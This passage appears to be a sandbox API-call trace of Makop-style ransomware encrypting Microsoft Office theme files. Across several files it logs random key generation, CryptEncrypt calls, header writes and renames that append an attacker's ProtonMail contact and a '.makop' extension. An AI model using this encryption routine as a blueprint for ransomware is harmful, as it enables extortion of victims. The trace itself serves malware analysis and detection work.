(hKey=0x48c7128) returned 1 [0159.341] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4cb84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.341] SetEndOfFile (hFile=0xf0) returned 1 [0159.348] GetProcessHeap () returned 0x48a0000 [0159.348] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0159.348] GetProcessHeap () returned 0x48a0000 [0159.349] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0159.349] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 128 [0159.349] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0159.351] CloseHandle (hObject=0xf0) returned 1 [0159.351] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd252a00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd252a00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6023, dwReserved0=0x0, dwReserved1=0x0, cFileName="Equity.eftx", cAlternateFileName="EQUITY~1.EFT")) returned 1 [0159.351] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0159.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0159.353] GetProcessHeap () returned 0x48a0000 [0159.353] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0159.353] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0159.353] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0159.353] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xd, lpOverlapped=0x0) returned 1 [0159.365] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.365] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.365] GetProcessHeap () returned 0x48a0000 [0159.365] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0159.365] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0159.365] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.365] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0159.366] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0159.366] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0159.366] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0159.366] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0159.367] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0159.367] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.367] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.367] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.367] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6023, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6023, lpOverlapped=0x0) returned 1 [0159.371] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6030, dwBufLen=0x6030 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6030) returned 1 [0159.371] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.371] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6030, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6030, lpOverlapped=0x0) returned 1 [0159.372] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.372] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.372] SetEndOfFile (hFile=0xf0) returned 1 [0159.379] GetProcessHeap () returned 0x48a0000 [0159.380] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0159.380] GetProcessHeap () returned 0x48a0000 [0159.381] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0159.381] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 125 [0159.381] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0159.383] CloseHandle (hObject=0xf0) returned 1 [0159.383] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49f12100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x49f12100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x3fde, dwReserved0=0x0, dwReserved1=0x0, cFileName="Essential.eftx", cAlternateFileName="ESSENT~1.EFT")) returned 1 [0159.384] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0159.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0159.385] GetProcessHeap () returned 0x48a0000 [0159.386] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0159.386] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0159.386] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0159.386] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0159.391] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.391] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.391] GetProcessHeap () returned 0x48a0000 [0159.392] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0159.392] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0159.392] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.392] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0159.392] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0159.393] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0159.393] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0159.393] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0159.393] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0159.393] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.393] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.393] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.393] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3fde, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3fde, lpOverlapped=0x0) returned 1 [0159.395] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3fe0, dwBufLen=0x3fe0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3fe0) returned 1 [0159.396] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.396] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3fe0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3fe0, lpOverlapped=0x0) returned 1 [0159.396] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.396] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x40b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.396] SetEndOfFile (hFile=0xf0) returned 1 [0159.403] GetProcessHeap () returned 0x48a0000 [0159.403] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0159.403] GetProcessHeap () returned 0x48a0000 [0159.403] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0159.403] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 128 [0159.403] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0159.405] CloseHandle (hObject=0xf0) returned 1 [0159.405] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a02900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x79a02900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x52a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Executive.eftx", cAlternateFileName="EXECUT~1.EFT")) returned 1 [0159.405] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0159.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0159.407] GetProcessHeap () returned 0x48a0000 [0159.407] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0159.407] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0159.407] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0159.407] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0159.411] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.411] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.411] GetProcessHeap () returned 0x48a0000 [0159.411] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0159.411] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0159.411] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.412] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0159.412] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0159.412] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0159.412] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0159.412] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0159.412] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0159.413] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.413] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.413] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.413] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x52a4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x52a4, lpOverlapped=0x0) returned 1 [0159.415] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x52b0, dwBufLen=0x52b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x52b0) returned 1 [0159.415] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.415] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x52b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x52b0, lpOverlapped=0x0) returned 1 [0159.416] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.416] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5384, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.416] SetEndOfFile (hFile=0xf0) returned 1 [0159.423] GetProcessHeap () returned 0x48a0000 [0159.423] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0159.423] GetProcessHeap () returned 0x48a0000 [0159.423] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0159.423] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 128 [0159.423] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0159.433] CloseHandle (hObject=0xf0) returned 1 [0159.433] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x144c3800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x144c3800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6818, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flow.eftx", cAlternateFileName="FLOW~1.EFT")) returned 1 [0159.433] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0159.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0159.435] GetProcessHeap () returned 0x48a0000 [0159.435] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0159.435] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0159.435] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0159.435] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0159.440] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.440] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.440] GetProcessHeap () returned 0x48a0000 [0159.440] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0159.440] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0159.440] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.440] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0159.440] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0159.440] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0159.440] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0159.441] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0159.441] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0159.441] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.441] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.441] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.441] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6818, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, 